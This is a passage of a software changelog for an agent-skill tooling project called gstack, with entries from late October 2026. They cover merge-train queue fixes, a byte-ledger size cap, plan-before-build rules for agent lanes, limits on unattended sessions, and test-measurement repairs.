Budgets: the skill catalog cap rises from 1,359 to 1,393 bytes for the /write-skill row; the always-on context ceiling from 7,880 to 7,985 tokens; /learn's eager ceiling drops from 2,931 to 2,124.

Fixed

gstack-learnings-search --cross-project no longer drops every project when the state root path contains the current project's slug.
The learnings bins refuse bad input. An unknown flag, a flag without its value, or a --limit that is not a positive integer exits 2 with the valid flags named, before any state is read or written; before, unknown flags were silently skipped. No gstack caller passes one.

[1.91.286.0] - 2026-10-28

Two ship-touching PRs in one merge train no longer overshoot ship's size cap together, and verify stops freezing the queue on a train whose PRs all landed long ago. Train 26's free run failed twice ("size ratio 1.753 > maxSizeRatio 1.7528", then "1.752 > 1.7524") because each PR re-pinned the same ratio on its own tree. Ship's cap is now a byte ledger. Each branch records its own signed delta, and the deltas add up exactly in any train order. Train 24's leftover record froze the queue on a main train 28 had already verified (#3519); verify now calls that record stale instead.

Changed

Ship's parity size cap (test/helpers/carve-guards.ts, test/helpers/parity-harness.ts, test/helpers/size-ledger.ts): ship's maxSizeRatio: 1.7529 is replaced by sizeLedger: 'test/size-ledger/ship'. The parity suite requires ship's union bytes to equal base.json (329,024 bytes, measured on main 10b77de merged with this PR) plus one <branch>.json entry ({ bytes, why }) per branch that changed them. A missing base, a malformed entry, an under-declared growth and an undeclared shrink all fail with the exact byte gap and the command that fixes it. Other skills keep their ratio caps. The ratio's history moved verbatim to test/size-ledger/ship/HISTORY.md.

Added

scripts/size-ledger.ts: record <skill> --why "<what changed>" writes this branch's entry from the measured difference (and deletes it when the difference is zero), check <skill> prints measured, expected and every entry, and fold <skill> --measured-at "<tree>" moves the entries into base.json in a tidy-up PR. record refuses on main, master or a detached HEAD.
QUEUE_TRAIN_STALE (gstack-ship-queue verify --train): when every slot of the train already merged on GitHub and main's sha is a prefix another train's verify confirmed (read after the notes ref), verify refuses with NEXT: gstack-ship-queue train prune --stale --train <nonce>, freezes nothing and dispatches no backstop. A train with a slot still open, a main no train verified, or a --no-fetch run freezes as before.

Fixed

Freeze records keep unreadable slots (lib/ship-queue-train-record.ts, lib/ship-queue-train.ts): a slot GitHub could not answer for beside a merged one is stored under an optional unreadable field, printed on an unreadable: line, and named after the repair as gh pr view <n> --json state,headRefOid so the operator checks it before seating it. Records written before the field read unchanged.

Tests

test/size-ledger.test.ts: the train-26 shape fails under ratio pins and passes under the ledger in both merge orders through the real buildChain; missing, under-declared, shrinking, duplicate-edit and malformed ledgers fail. The fixture repo checks out with core.autocrlf false, so Windows counts the same bytes.
test/ship-queue-train.test.ts: an all-merged train on a main another train verified refuses as stale; the same train with a slot still open freezes; unreadable slots land in the field, the freeze lines and the post-repair NEXT.

Docs

docs/ship-policy.md § Run a merge train: size caps compose through the ledger, and the stale-train and unreadable-slot rules. docs/troubleshooting.md: QUEUE_TRAIN_STALE.

Gate integrity

Ship's union-size gate changes from a ceiling (maxSizeRatio) to an equality ledger at the same value (329,024 bytes, 1.7529 × 187,706, measured on main 10b77de merged with this PR); no skill prose changed, so ship's bytes did not move. No other threshold, timeout, trial count or case kind changed.

[1.91.285.0] - 2026-10-27

A lane plans before it builds, and the /captain skill says so. Until now a crew thread told to build something started editing, and the first chance for the controller or the owner to say "smaller" or "not that way" was a finished PR with a paid gate behind it; the rule that a sized /autoplan comes first lived only in one crew's rules file, which a crew set up from gstack's templates would never read. The /captain skill, docs/captain.md and the crew templates now carry it: a building lane's first act is an /autoplan run sized to the work, the plan and its gate go up to the controller in plain language, the controller relays one ask with the recommended reply as the one-word default and a "do it" reply, and the lane builds only after the owner's word is answered into the run and it reports APPROVED.

Added

docs/captain.md § Plan before build: who plans (any lane that builds; any new scope taken on part-way), the first act (/autoplan sized to the work, with the short-run flags for a one-file fix), what the lane sends (gstack-owner-brief render --captain, the cost lines, a needs-you report), what the controller relays (shape B, rec as the default, "do it"), the build gate (the answer in the run, amendments incorporated, reopened phases finished, APPROVED; an imported approval row alone is not completion), the record (gstack-approvals import --autoplan, rendered into the report and PR body), and the exemptions (read-only lanes, the daily flaky pass's repairs, slot stamps, CHANGELOG-only resolves, cap re-pins under a written grant; a crew may add, never remove). The rule is row 24 of the "Where each rule lives" table; the READY contract and merge trains are unchanged, and a plan approval is not a READY field.
captain/templates/brief.md: the controller's brief to a lane. A header with the lane, controller, rules file, owned files, the files other lanes own, a Plan: required | approved: <run> | exempt: <reason> line and the spend cap; step 1 the plan and the plan ask, step 2 the build after the word, step 3 /ship to READY; a done line that names the approval row or the exemption. A brief marked approved starts at step 2, one marked exempt at step 3.
captain/templates/CREW.md rule 24 (Plan before build) with its home, and a row for the owner's words in the standing-approvals table. Crew-specific rules now number from 25; a crew whose own rules already took 24 keeps its numbering and cites the section by name.

Changed

captain/SKILL.md.tmpl: the approvals part carries a "Plan before build" paragraph pointing at the section and the brief, and the rules enumeration names the rule.
capy/skill/gstack/SKILL.md § Plan, approve, ship: the short form every Capy thread follows, under a Captain or on its own (the owner, 2026-10-27: "Also incorporate the autoplan and eli5 and ship instructions for Capy-specific gstack usage"): /autoplan sized to the work before new functionality, the ELI5 with rec as the one-word default and a "do it" reply, the build only after the word and an APPROVED run, /ship at the final pushed head before a PR is called ready with the receipt naming that head, no merge without the owner's word, the review inside /ship and the autoplan sized to the change, and the exempt work. References are plain text, since the folder is copied to a Drive without the repository; the owner copies capy/skill/gstack/ over the Drive skill folder to pick it up.
capy/skill/gstack/captain.md § 3: the lane-side pointer, so a thread launched on Capy sees the first-act rule where it reads the plan-ask shape, pointing at the SKILL.md section.
captain/templates/plan-ask.md: the record line names the autoplan path (gstack-autoplan answer … --owner-reply, then gstack-approvals import --autoplan) and keeps gstack-approvals add for plans that are not autoplan gates.
docs/captain.md Setting it up, step 5: lanes start with the brief.

Tests

test/captain-skill.test.ts ships brief.md in the template set (existence, reference, generic prose), pins the CREW template at 24 rules and docs/captain.md at 24 mapped rows, and asserts the new section, the brief's Plan: line and step order, and the skill's paragraph.

[1.91.284.0] - 2026-10-27

Five small takes from tstack, in gstack's words. Theo Browne's tstack (MIT, 2026-10-24) is nine short PR-landing skills; its best ideas that gstack lacked were a verb for an aging pull request, a Codex picker that says what each skill is for, a written grant for unattended sessions, a repo-level rule for porting a contributor's PR, and a visible author line on agent-posted comments. Each lands here as gstack prose and gstack code; no sentence is copied (NOTICE.md). Approved by Garry, 2026-10-26: "Do it, send" (yes to the opt-in attribution callout, off by default).

Added

/modernize: bring an aging pull request onto its current base and decide whether it should still exist. The skill reads the PR as a claim (the problem, the change, what must be true of the codebase), reads its title, body and comments only through gstack-issue-guard, reads what moved under it for conflicts in meaning as well as in text, and writes one of three verdicts before anything is pushed: MODERNIZE (rebase with the author's commits kept as theirs, git range-diff with a one-line reason per changed hunk, the repo's own tests, then git push --force-with-lease=<branch>:<observed head sha>), REWORK (the problem stands, this diff does not; nothing pushed) or CLOSE (recommended with the superseding commit; the PR stays open until someone with the authority says so). The skill never closes a PR and never uses a bare --force; /careful already rates the lease push MEDIUM. Rows in README, AGENTS.md, docs/skills.md (with a deep dive), docs/PROJECT_STRUCTURE.md, the root router and gstack/llms.txt.
Per-skill Codex default prompts: a template's codex_default_prompt: frontmatter key becomes that skill's default_prompt in agents/openai.yaml, the sentence Codex's picker inserts when a user chooses the skill; a template without the key keeps Use <name> for this task.. /ship, /review, /qa, /autoplan, /office-hours, /land-and-deploy and /modernize carry one. The key is generator input only. No host's SKILL.md render carries it (Claude strips it; the allowlist hosts never copy it), so every pinned render is byte-identical. bin/gstack-host-renders.sh's proof that a yaml file is gstack's accepts any default_prompt line.
gstack-post --attribute "<model> on behalf of <login>" on pr-comment, issue-comment and reply: opt-in and off by default, it opens the comment with a > [!NOTE] callout (🤖 **<text>**) naming who wrote it, then the body as written. The callout bytes are scanned and bound into the MEDIUM confirmation token with the body, so a changed attribution needs a new token (findings are reported at the body file's own line numbers, a finding in the callout as PART: attribute); the flag is refused (exit 64) on a PR body, a title or an issue body, and for empty, multi-line or over-200-character text. review/greptile-triage.md says when to add it to a reply.
docs/unattended.md "What an unattended session may do": merge never (nor auto-merge, a merge queue or gh pr ready on a PR the run did not open); force-push only the run's own branch, after a rebase the plan or a /modernize disposition named, with git range-diff in the handoff and a lease pinned to the observed sha; tests only by the methods the repository's instructions name, no ask-first; proof is what the run observed itself. Anything outside the list is a pending approval item. /ship's handoff section points at it (one line in the lazy section; this PR adds no skeleton bytes).
CONTRIBUTING.md "Porting a contributor's PR": review and test the port head first (a fork's green checks prove nothing here), keep their commits as theirs with Co-authored-by on anything rewritten, your fixes on top as separate commits, the port names the original and its author, and the original closes with a specific thank-you linking the port; closing without landing is a maintainer's call. The repo-side home of the crew rule in docs/captain.md.

Tests

test/modernize-skill.test.ts (new): the verdict table and its order before any push, the never-close rule, the range-diff and pinned-lease lines, the /careful MEDIUM rating, and every catalog row a new skill owes.
test/gen-skill-docs.test.ts: the seven prompts reach openai.yaml, a skill without the key keeps the fallback, extractCodexDefaultPrompt reads quoted and plain values inside the frontmatter only, and no host render carries the key.
test/gstack-post.test.ts: no flag means the body is sent as written; the callout on all three comment operations and on GitLab; scan and token cover the callout; refusals on the other operations and bad text.

Gate integrity

The one threshold this PR moves is the ship union cap in test/helpers/carve-guards.ts, 1.7525 → 1.7529 under GStack Minder's grant. On the tree merged with 392f50d4 (v1.91.281.0) the union is 329,024 / 187,706 = 1.7529 against main's 1.7525 (pinned at a measured 1.7524 by #3516), the handoff pointer line being this PR's only ship bytes; the skeleton is main's 60,900 (0 skeleton bytes added). Earlier merges of this PR pinned 1.7405 on top of #3487's 1.7400 (326,691 bytes on the f27a7605 merge) and 1.7528 on top of main's 1.7524 (329,005 bytes on the 1f246e35 merge) the same way. No timeout, trial count or case kind changed. test/catalog-budget.test.ts moves 1,314 → 1,359 token-equivalents for the new skill, re-measured on top of main's /ubicloud and /design-motion rows (pre-addition 5,249 bytes on d9b0d600, modernize adds 178, measured 5,427 = 1,357 on the merged tree; 9 bytes left), and test/fixtures/context-budget.json is recaptured on the merged tree, where the hoist moved modernize's preamble into a lazy section (modernize 9466 → 3772) and alwaysOnTotal goes 7769 → 7880 (capture × 1.05). No pinned render in test/fixtures/skill-md-size-allowlist.json changed size.

[1.91.283.0] - 2026-10-27

/benchmark's collection, comparison, budget and trend phases now agree with its vet-the-number section. The 2026-10-27 flaky pass (GSTA-128) read the benchmark/SKILL.md perf collection judge's six samples from run 40558235014: every sample named the same contradictions, so the prose was repaired and no threshold moved.

Fixed

Phase 3 run count: the script runs 5 times per page and later phases use each metric's median with its range, which is what the mandatory vet section already demanded; the old optional 3-run median contradicted it. --quick is the one-run ballpark and produces no comparison verdict.
Phase 5 against a stored baseline: the baseline ran earlier, so question 5's alternation is unavailable; the comparison uses both sides' range_ms, names the limiter from Phase 6, and is inconclusive when either side is one run. A delta smaller than either spread is OK whatever threshold it crosses. The report leads with the verdict and names the run count.
Phase 4 schema carries runs and range_ms; Phase 7's grade example counts 3 PASS, 1 WARNING, 2 FAIL (4/6 below budget); Phase 8 reads the benchmark and baseline JSON files by timestamp and says where Bundle and Grade come from; Phase 9 defines the JSON as the Phase 4 object plus per-page grade, verdict and metric status.
Nearby prose tightened so the skeleton stays under its 31,300-byte cap (31,290). Judge after the repair: clarity, completeness and actionability 4/4/4 on all three samples, three runs.

[1.91.282.0] - 2026-10-27

A merge the pre-merge verify accepted no longer freezes the queue, and a slot stamp touches only the stamp files. Train 24 (2026-10-27) merged #3434 and #3453, then froze on #3453's post-merge check and paid a $31 backstop: the pre-merge verify judged the lane's CHANGELOG as main's plus the pin's own entry and said MERGE_CONDITION, the post-merge check compared main to T2 section by section, and T2's one [Unreleased] (both stacked entries) had become two released sections. In both slots gstack-restamp also listed lib/ship-policy.ts as a fifth stamp file, because the lane's uncommitted base merge made #3511's DOCS_CAPS_KEY_VERSION look like the branch's own tentative key. And mergeChangelogs refused the stacked child outright, so the lane's hand resolve dropped #3453's two wording fixes to the released 1.91.276.0 entry.

Fixed

gstack-ship-queue verify --train (lib/ship-queue-train-verify.ts): one CHANGELOG rule before and after the merge. Post-merge, main confirms when its tree is T modulo stamps, or differs from T in the CHANGELOG alone while being its own first parent's CHANGELOG (the main the pre-merge verify saw) plus the PR's own entry, the rule mergedIn applied pre-merge; the main: line says "except CHANGELOG.md, main 's CHANGELOG.md plus #'s own entry". The own lines are the pin's authored CHANGELOG lines or the lines mergeChangelogs writes for that pin against main, so a tool-written correction bullet passes. A freeze lists a slot GitHub reports MERGED as merged (its reason says "merged on GitHub without a verified tree"), never under unmerged, so the rebuild after the repair does not seat it again; the record is built from the one GitHub read that decided to freeze, so a slot that read MERGED stays merged when GitHub stops answering a moment later, and a slot unreadable beside a merged one is left out of unmerged and named in the reason ("unreadable on GitHub, left out of unmerged; seat it in a train by hand once gh pr view answers"), so the NEXT: after the repair omits it; and a first slot GitHub reports MERGED whose squash fails the post-merge check freezes the queue instead of answering "nothing of the train merged" while main already holds the unverified squash; when GitHub's answer for a slot cannot be read, the verify refuses (QUEUE_PROOF_MISSING, "whether # merged on GitHub could not be read") and asks to be rerun, never "nothing merged". A main whose CHANGELOG equals its parent's is not "the parent's plus the PR's own entry" (ownEntryAboveMain: "no entry of the PR's own above it"), so a squash that lost the entry the gate carried is refused.

gstack-restamp stamp_paths (lib/restamp.ts): a line the base added since the pin's fork point is the base's, whether the base merge is committed or still staged; branchAddedLines leaves it out and the stage detail says "N line(s) the base added since the fork point are the base's, not this branch's, and stay (: N)". #3514's receipt bound (stampOnlyLine) refuses such a move after the fact only while the moved version is older than the base's at the build; a key at the base version passes it, so the restamp is the guard. A base diff git cannot run is a refusal ("cannot diff .. for the stamp_paths stage"), never an empty "nothing added" set that would move the base's lines again.

mergeChangelogs (lib/changelog-check.ts): a stacked child whose parent squash-merged and was released since the merge base (carryReleasedParent) is a merge, not a hand resolve. The parent's lines leave the child's [Unreleased]; each line the child changed inside them becomes - Correction to the <version> entry below: "<old>" should read "<new>". (a dropped line "no longer applies", a line added between the parent's "Addition to the entry below") under the child's own ### Gate integrity, appended to one it already has. The released entry stays main's byte for byte. Without the merge base the shape is GSTA-67's dropped heading and stays null. mergeChangelogsWithNotes returns the carried corrections; the slot one-liner in docs/ship-policy.md prints them. mergeStep (train build) passes the merge base, so a child of an already-released parent seats; from slot 2 on, where the prefix already holds an earlier slot's [Unreleased] and the sections are unioned, the union takes the carried child, so the gated tree never repeats the released parent's text under the child's heading.

Tests

test/ship-queue-train.test.ts: a stacked child's merged-in head the pre-merge verify accepted confirms after its squash merge (froze before), with the correction bullet accepted pre-merge; a post-merge CHANGELOG holding a line the pin never wrote still freezes, and the freeze lists the slot GitHub reports MERGED under merged; a slot-1 squash GitHub reports MERGED that fails the post-merge check freezes, and an unreadable GitHub state refuses; a stacked child behind another slot is gated on the carried CHANGELOG (the released parent's text appears once, under its own heading, with the child's corrections in the child's entry). test/restamp-base-merge.test.ts (new): train 24's shape (pin forked before the base's key, base merge staged), for a key naming an older release and for one at the base version; the dry run lists the four stamp files plus the branch's own key file only, committed or staged, and the receipt bound is asserted for both keys. test/changelog-merge-damage.test.ts: the real a78ce08a/3e4240a7/d87eec95 CHANGELOGs (test/fixtures/merge-train-3453/) merge to main's sections unchanged plus #3453's entry with the two corrections; without the base they stay null; shape controls for an unedited, a dropped, an added and an empty child.

Docs

docs/ship-policy.md § Run a merge train: the one CHANGELOG rule, the stamp-files rule (never a fifth), the stacked-child-after-squash resolution, and that an unstamped head changes a release output by regenerating it at its own VERSION (the Version Gate has accepted that since 1.91.237.0; #3434 reverted its digest change against the older gate). docs/troubleshooting.md: QUEUE_TRAIN_TREE_MISMATCH, QUEUE_PROOF_MISSING, QUEUE_TRAIN_FROZEN and POLICY_SOURCE_UNAVAILABLE describe the post-merge CHANGELOG exception, the unreadable-state refusal, the GitHub-MERGED freeze record and the restamp base-diff refusal. docs/captain.md § Merge trains and captain/templates/slot-call.md carry the stamp-files rule (the files the slot call names: STAMP_FILES, plus the file carrying a *_KEY_VERSION the PR introduced when the call names it; a file the restamp lists that the call did not name is left out and reported) and the stacked-child rule.

Gate integrity

Correction to the 1.91.276.0 entry below: "copies of shared sections twice until a follow-up dedupes them." should read "versions of shared sections beside the shared file (office-hours' copies are deduped in the entry above).".

Correction to the 1.91.276.0 entry below: "shrinks and 89 size pins go down." should read "loses 3 characters from it and the 89 size pins go down by 3 (plan-ceo-review still grows overall, below).".

No threshold, timeout, trial count or case kind changed. No skill prose changed.

[1.91.281.0] - 2026-10-27

Four paid gate detectors stop judging honest transcripts red, and /review's Scope Check has one emission point. The 2026-10-27 flaky pass (GSTA-128) read each red transcript and repaired the detector or the prose it judged, never the threshold.

Fixed

Ship doc-sync gate (ship-docsync-store, ship-docsync-completion): the read grammar accepts an orientation git branch listing with no operand (--show-current, -a, -r, -v, --list), and the declared interface names exactly that set. A /document-release re-audit after a rejected first attempt is judged on the attempt the parent accepted: the accepted contract is the last foreground dispatch, a rejected attempt's retained edit is not its unreported edit, and a re-audit that edits the same document again and says so passes.

Local-hook preservation gate (ship-local-hook-preservation): manual-integration wording is credited with a noun-phrase phrasal object ("wire the guard in by hand") or the owner's own hand ("the repo owner needs to add it to the existing hooks themselves"), while a denial ("the owner doesn't need to add the hook themselves"), a first-person claim or a sentence that names no hook is not. A negated clause before the request ("Since the installer did not run, the repo owner needs to ...") stays a request.

Design-floor focus picker (plan-design-finding-floor): a pending menu that asks to cover all 7 dimensions without the word "focus" is recognised.

/review Scope Check: emitted once, in Step 3 after the full diff read, on the first pass only; the plan-completion audit's with-plan and no-plan paths, the section's STOP trigger and the Step 1.5 notes all name that point, so Diff read: full exists when the check is written. The plan-review and doc-review run headers admit only the CODEX_MODE values their preflight prints, and the small-diff rule and the specialists record agree on State Machines.

Changed

Review, ship and plan-eng-review prose tightened to hold their parity caps; the generated-size pins that shrank were lowered.

Ship parity cap (test/helpers/carve-guards.ts): maxSizeRatio 1.7524 → 1.7525. The review-army section's small-diff clause now names State Machines as item 9's call and a State Machines-only specialist list (the ground text of the Scope Check repair above), +5 union bytes; main at v1.91.280.0 already measured 328,932 / 187,706 = 1.7524, four bytes under the cap after #3515 and #3517, and the merged tree measures 328,937 / 187,706 = 1.7524, so the pin moves one in the last place. No other cap or pin raised.

Tests

Three free fixtures (the two docsync captures and the design-floor menu) registered in FREE_FIXTURES; probe sets for the hook-actor arm, the two-attempt dispatch contract, the branch-listing grammar and the Scope Check owners; the pass-1 and pass-2 review fixes each carry a probe that fails on the previous helper.

[1.91.280.0] - 2026-10-27

Three free-tier tests measured something other than what they assert, and the Ubicloud quota wait shaved its own budget. The daily flaky pass (GSTA-128) traced the free tier's open timing reds to measurement defects, not product ones: quota_preflight in scripts/ubicloud/ubi-runner.sh pinned its deadline to the wall clock before the first usage call, so a slow CLI spawn on a loaded runner printed "waiting up to 2s more" where the test expects the full 3 s; the pregate-remote teardown test read the .down file as soon as it existed, before the stub's echo had written the line; and the design-lint linearity check timed one wall-clock run of the 8000-label lint against a 500 ms floor on a shared runner. Under eight busy loops on four cores the quota case went from 8 of 12 green to 12 of 12. No ms bound, threshold, trial count or retry changed.

Fixed

scripts/ubicloud/ubi-runner.sh: the quota wait budget is a countdown of the seconds spent sleeping for room. Usage reads between sleeps do not eat it, the first log line names the whole UBI_QUOTA_WAIT, UBI_QUOTA_WAIT=0 still refuses on the first poll, and the wait still releases when usage drops.

Tests

test/ubicloud-pregate-remote.test.ts waits for the written teardown line (exit … or term … ending in a newline), not for the file to exist.

test/design-lint-fifth-cycle.test.ts measures the lint's own CPU time, fastest of three runs, against the unchanged max(2.5 × t4000, 500 ms) bound. A quadratic regression at 8000 labels would still measure about 690 ms CPU, above the floor, so the check keeps catching what it was written for.

test/ubicloud-runner.test.ts attaches the runner's stderr to the hung-setup watchdog assertion, so the next red of that case names its cause. A new quota case proves the countdown. A usage read that takes 1.2 s keeps the printed 2 s budget (origin/main prints 1 s), a 70 s wait sleeps 30 s twice, and the wait releases when the peer VM disappears.

Gate integrity

Four hunks listed, three read, none a relaxation. The teardown wait is stricter, the watchdog assertion is unchanged with a message added, and the linearity measure keeps its bound (measurement above).

[1.91.279.0] - 2026-10-27

A licence line or a changelog entry no longer buys a full paid gate, the review loop stops re-reporting findings the owners have already ruled below the floor, and three follow-ups from the Blast radius ship land. #3499: every PR that touched NOTICE.md, LICENSE, licenses/ or ETHOS.md restored every gate case and judge because no paid case was mapped to them (#3493's docs-only PR planned 82 cases, about $30, for a notice and a changelog entry). #3504 and #3485: the same classes of finding (a schema lagging its writer, a helper nobody calls, a re-dispatch, a refusal one step late) reached the owners again on every ship after being judged below the floor once. GSTA-121's ship left three gaps. The Captain's merge-ask template and docs/skills.md lacked the ## Blast radius item the PR body now carries, an 11-digit GitHub Actions run id after a run word was redacted from an approval record as a phone number, and the remote free gate failed with PREGATE_REMOTE_INFRA when a reviewer ran git in the checkout while the gate tarred .git.

Added

RELEASE_METADATA_FILES in scripts/test-pr-profile.ts (NOTICE.md, LICENSE, licenses/**): release metadata no paid case reads, exempt like CHANGELOG.md and VERSION already were in knownNonBehaviorFile; a PR of only these files selects no paid case and keeps mode pr; captain/templates/** (the crew templates no paid case reads, found as the one unknown dependency of this PR's own selection) joins FREE_ONLY_PR_FILES. ETHOS.md is registered under the cases and judge of the two prompts that read it (/office-hours, /plan-ceo-review) in test/helpers/touchfiles-data.ts, so an ETHOS edit selects those cases (three gate cases and one judge today) instead of the whole gate; SECURITY.md replaces it as the tests' example of an unregistered file. The "unknown dependency restores the full gate" rule itself is unchanged.

docs/review-policy.md#rulings-below-the-floor: six finding classes put to the floor by #3485 and #3504 and ruled below it (own-artifact hardening, unwired or unread, bounded repeat work, conservative refusal, artifact presentation, test gap), each with what it looks like and why it fails the floor; a finding in one is a note named by its ruling from pass 1 on. The review army's lead judgment (scripts/resolvers/review-army.ts, rendered into both review-army.md sections) gains the one-line On record ground that applies the table; its other grounds were tightened by the same byte count so the generated review SKILL.md stays at its pins. The floor ("would fail a test, break production, or lose data or secrets") is unchanged.

docs/TESTING_INTERNALS.md Windows free lane: the command that shows whether one test is in the curated Windows subset and why not, and which list (KNOWN_WINDOWS_SAFE, WINDOWS_PROBE_SAFE, KNOWN_WINDOWS_INCOMPATIBLE) moves it.

docs/skills.md /ship "The PR body": the four Capy sections in order (What changed, Why, Blast radius, Approvals), how to write the Blast radius item, and what gstack-prose-lint gates. captain/templates/merge-ask.md carries ## Blast radius between Why and Approvals; bin/gstack-pr-shots's example caption and the capy-pr section heading name it too.

Fixed

lib/redact-patterns.ts isCiRunIdentifier: an 11-digit GitHub Actions run id right after a run word on the same line (screen 40477638211 GREEN, gate=…, rerun passed …, run #…) is not pii.phone.e164, in every scanner (gstack-approvals add, gstack-decision-trail, the pregate secrets check, gstack-post); the run-word regex moved there from lib/gstack-post.ts, which imports it for its chained-id allowlist. A 10-digit national number after a run word, a bare 11-digit number, an E.164 + number and job, id, workflow or attempt before one still report; a national number written without its + right after a run word reads as a run id, the accepted residual of the ruling that a run id is not a phone number (gstack-post has read it that way since GSTA-121).

scripts/ubicloud/ubi-runner.sh pack: the live .git is never tarred. The refs are fetched into a fresh repository through git's transport (--update-shallow, so a shallow CI or Capy checkout packs), the remote.* and branch.* config is replayed so origin/<base> and each branch's upstream resolve on the VM, a detached HEAD gets a detached-<sha12> branch, the index is copied with the blobs staged against HEAD (a VM gstack-wtree can read a staged file), and a pack that fails removes its temporary repository; a review subagent's git diff or a trial merge's worktree add during the first minute of a remote gate no longer makes tar exit 1 (PREGATE_REMOTE_INFRA). The linked-worktree path uses the same snapshot.

lib/pregate/import-graph.ts: a relative string literal ('../ship/sections/pr-body.md.tmpl' through new URL(…, import.meta.url) or readFileSync) is a dependency edge from the file that names it, like a relative import; test/ship-publication-gates.test.ts is now selected when the pr-body template changes (the remote free gate missed it in GSTA-121's ship). A literal that climbs out of the repository names nothing.

scripts/lib/windows-curation.ts: test/pregate-remote-stamp-only.test.ts is KNOWN_WINDOWS_INCOMPATIBLE (it expects the Linux-host lanes verdict and skips itself on win32), as #3485's follow-up asked.

Tests

test/paid-free-boundary.test.ts: release metadata alone and beside CHANGELOG.md keeps mode pr with no paid case; ETHOS.md with NOTICE.md selects the two skills' gate cases and judge and nothing else. test/pr-dependencies.test.ts, test/paid-pr-profile.test.ts, test/exercised-map.test.ts: SECURITY.md as the unregistered example.

test/redact-context-exemptions.test.ts: seven run-word rows with run 40477638211 and five controls; test/approval-record.test.ts: an approval whose words cite screen 40477638211 GREEN is recorded verbatim, a phone number still refuses the row; test/pregate-allowlist.test.ts: its run-id fixture reads job <id>, which the engine does not exempt, so the allowlist mechanism it tests still has a finding to silence.

test/ubicloud-runner.test.ts: pack of a plain checkout under twenty seconds of index, worktree and ref churn, three times; the unpacked snapshot has the same HEAD, origin/main, remote URL, status and gstack-wtree fingerprint, a detached HEAD lands on detached-<sha12>, a pack with no index exits 1 and leaves nothing in TMPDIR, and a branch's upstream survives the snapshot.

test/pregate-import-graph-paths.test.ts: relative literals through new URL and readFileSync, one and two directories up, and a literal that escapes the repository.

Gate integrity

No threshold, timeout, trial count or case kind changed. The paid selection narrows only for NOTICE.md, LICENSE, licenses/**, captain/templates/** and ETHOS.md; every other unmapped file still restores the full gate. Generated SKILL.md sizes stay at their pins and the ship parity union stays under its 1.7500 cap; no allowlist or cap moved.

[1.91.278.0] - 2026-10-27

The merge train's tooling stops failing the lanes for things the tooling itself could see. A head whose only conflict with main was the CHANGELOG got its Free Tests through the dispatch route and the paid screen still called it NOT-RUN; the receipt-versus-prose check read the canonical REVIEW_LOOP line as a false mismatch; a PR that writes a new *_KEY_VERSION constant as a tentative next-minor version (the convention #3511 introduces) could not clear the train's stamp-only receipt; a pooled pin learned that main had moved onto its files only when the train was built; a watcher had no way to leave a stuck non-required check out of its verdict; and a lane that passed the slot call's remaining order to gstack-restamp without its own PR got the same stale list back as the fix. Backlog items from GSTA-119, #3485, #3495 and the 2026-10-27 slot calls.

Fixed

scripts/eval-readiness.ts (#3508): readiness accepts a workflow_dispatch Free Tests run at the exact head beside GitHub's pull_request run, so a head the dispatch route of docs/ship-policy.md tested starts its paid screen. GitHub's pull_request run decides whenever one exists (it built the merge ref; a dispatch builds the head alone, so a newer green dispatch never overrides a red pull_request run and an extra red or running dispatch never holds a head its pull_request CI cleared); the newest dispatched run decides only for a head with none, a red one blocks, and a push run still counts for nothing.

lib/ship-receipt-prose.ts (#3513): a number that is the value of a key= or key: pair is that key's claim alone, whatever the whitespace around the separator, so REVIEW_LOOP: passes=2 blocking_found=1 deferred=0 noted=4 fixed=8 scope=frozen and passes: 2 blocking_found: 1 parse as five claims that all match the receipt instead of a 2 blocking_found claim.

Stamp paths under the next-minor key convention (#3512): the tree receipt (lib/tree-receipt.ts), the carry (lib/ship-receipt.ts stampOnlyText) and the train's tree-modulo-stamps digest (scripts/train-gate.ts stampFreeTree) accept a stamp_paths line whose stamp-form version moved to the released version whatever it was before, not only when it was the base's version. The receipt keeps the stamp_paths stage's own bounds (lib/restamp.ts stampOnlyLine): a moved version older than the gated head's is a released key moved by hand, and one of another width (a 3-digit pin in a 4-digit repository) is never a stamp candidate, so both stay changed. The digest collapses every stamp-form mention, so a tentative key and a base-version mention on a base-side line digest the same before and after the slot stamp and train-backstop finds the record that covers main.

gstack-restamp --expect-order: the QUEUE_STALE refusal prints the corrected command instead of the stale list: this PR first when the list left it out (with the message saying every entry read as a predecessor), PRs merged into the local base dropped, an unmerged predecessor kept ahead with a note that it must merge first, and a predecessor GitHub calls merged that the local base does not carry yet kept ahead too, with fix: git fetch origin <base> (dropping it would let the recompute, pinned to that local base, allocate the version it already took). The base-moved refusal carries --pr too.

Added

gstack-ship-queue ready and train build read gstack-pr-wait's base-overlap event from git (handoff GSTA-119; the crew template's sibling trial merge, done by the tool). ready prints BASE_OVERLAP: <base> moved to <sha7> and touches files in this PR: <files>; the train's merge onto <base> is clean (or the conflicting files) when the base moved onto the PR's files since it forked, and under --no-screen a conflict is QUEUE_TRAIN_CONFLICT at READY rather than at the train, with the template's fix (report it to the controller; merge the base on its word). A git read that fails prints conflicts unknown and refuses nothing. train build runs the scratch merges before the fill rule. A seated pin whose files the base moved onto gets #<pr> BASE_OVERLAP: <base> moved to <sha7> and touches files in this PR: <files> (the chain's merge onto the pin's own prefix is the verdict), a pin that does not merge is QUEUE_TRAIN_CONFLICT while the train is still filling, and a clean pool prints MERGE_CHECK: T1..T<k> merge clean onto <base>@<sha> ahead of QUEUE_TRAIN_WAITING, so the waiting verdict is also a dry-run merge (#3485).

gstack-pr-wait --exclude <check,...> (#3495 follow-up): a named non-required check is left out of the verdict as gstack-ci-gate --exclude does, so it neither holds --until green while pending nor blocks when it fails; a required check cannot be excluded and the first poll logs the refusal, and while a required-check source cannot be read nothing is excluded (the set may be short), as gstack-ci-gate refuses its overrides.

Tests

